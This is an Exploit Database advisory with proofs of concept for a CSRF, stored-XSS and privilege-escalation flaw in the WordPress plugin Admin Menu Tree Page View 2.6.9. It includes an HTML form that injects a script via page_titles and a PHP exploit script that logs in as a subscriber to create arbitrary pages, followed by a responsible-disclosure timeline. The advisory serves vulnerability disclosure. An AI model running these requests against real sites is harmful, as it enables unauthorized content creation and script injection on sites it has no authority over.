WordPress Plugin Admin Menu Tree Page View 2.6.9 – Cross-Site Request Forgery / Privilege Escalation

• Exploit Database
• 12 阅读

• 作者： Panagiotis Vagenas
  日期： 2018-01-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43486/

• * Exploit Title: Admin Menu Tree Page View [CSRF, Privilege Escalation]
  * Discovery Date: 2017-12-12
  * Exploit Author: Panagiotis Vagenas
  * Author Link: https://twitter.com/panVagenas
  * Vendor Homepage: http://eskapism.se/
  * Software Link: https://wordpress.org/plugins/admin-menu-tree-page-view
  * Version: 2.6.9
  * Tested on: WordPress 4.9.1
  * Category: WebApps, WordPress
  
  
  Description
  -----------
  
  Plugin implements AJAX action `admin_menu_tree_page_view_add_page` which
  calls back the function `admin_menu_tree_page_view_add_page`. The later
  does not implement any anti-CSRF controls or security checks.
  
  Leveraging a CSRF attack an attacker could perform a Persistent XSS
  attack if the victim has administrative rights (see PoC).
  
  The AJAX action is a privileged one so it's only available for
  registered users. Even so it doesn't implement any capabilities checks
  so it's available to all users no matter the access level. This could
  allow any registered user to create arbitrary posts no matter the access
  level.
  
  PoC
  ---
  
  ### CSRF -> Persistent XSS
  
  In this PoC we exploit the `$_POST["page_titles"]` param to perform a
  Persistent XSS attack.
  
  ```
  <pre class="lang:html decode:true "><form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
  <input type="hidden" name="action" value="admin_menu_tree_page_view_add_page">
  <input type="text" name="type" value="after">
  <input type="text" name="pageID" value="1">
  <input type="text" name="post_type" value="page">
  <input type="text" name="page_titles[]" value="<script>alert(1)</script>">
  <input type="text" name="post_status" value="publish">
  <button type="submit" value="Submit">Submit</button>
  </form>
  
  ```
  
  ### Create Arbitrary Posts
  
  In this PoC we use a user with subscriber access to create arbitrary
  pages. The post\_type is user defined so in the same manner we could
  create any post type.
  
  ```
  #!/usr/bin/env php
  <?php
  /*******************************************************************************
   * Admin Menu Tree Page View [Privilege Escalation]
   *
   * To install deps run `composer require wordfence/exkit`.
   *
   * @author Panagiotis Vagenas <pan.vagenas@gmail.com>
   * @date 2017-08-09
   ******************************************************************************/
  
  require_once __DIR__ . '/vendor/autoload.php';
  
  use Wordfence\ExKit\Cli;
  use Wordfence\ExKit\Config;
  use Wordfence\ExKit\Endpoint;
  use Wordfence\ExKit\ExitCodes;
  use Wordfence\ExKit\WPAuthentication;
  
  Config::get( 'url.base', null, true, 'Enter the site URL' )
  || ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );
  
  $s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
  $s->XDebugOn();
  
  Cli::writeInfo( 'Logging in as subscriber...' );
  
  WPAuthentication::logInAsUserRole( $s,
  WPAuthentication::USER_ROLE_SUBSCRIBER );
  
  Cli::writeInfo( 'Sending payload...' );
  
  $postData = [
  'action'=> 'admin_menu_tree_page_view_add_page',
  'type'=> 'after',
  'pageID'=> '1',
  'post_type' => 'page',
  'page_titles' => [ '<script>alert(1)</script>' ],
  'post_status' => 'publish',
  ];
  
  $r = $s->post( Endpoint::adminAjaxURL(), [], $postData);
  
  if(!$r->success || !$r->body == '0'){
  ExitCodes::exitWithFailed('Failed to retrieve a valid response');
  }
  
  ExitCodes::exitWithSuccess('Exploitation successful');
  
  ```
  
  Timeline
  --------
  
  1. **2017-12-12**: Discovered
  2. **2017-12-12**: Tried to contact plugin author through WordPress.org
  support threads
  3. **2017-12-13**: Tried to contact plugin author by creating an issue
  in plugin's repository on Github
  4. **2017-12-13**: Vendor replied
  5. **2017-12-14**: Vendor received details
  6. **2018-01-07**: Patch released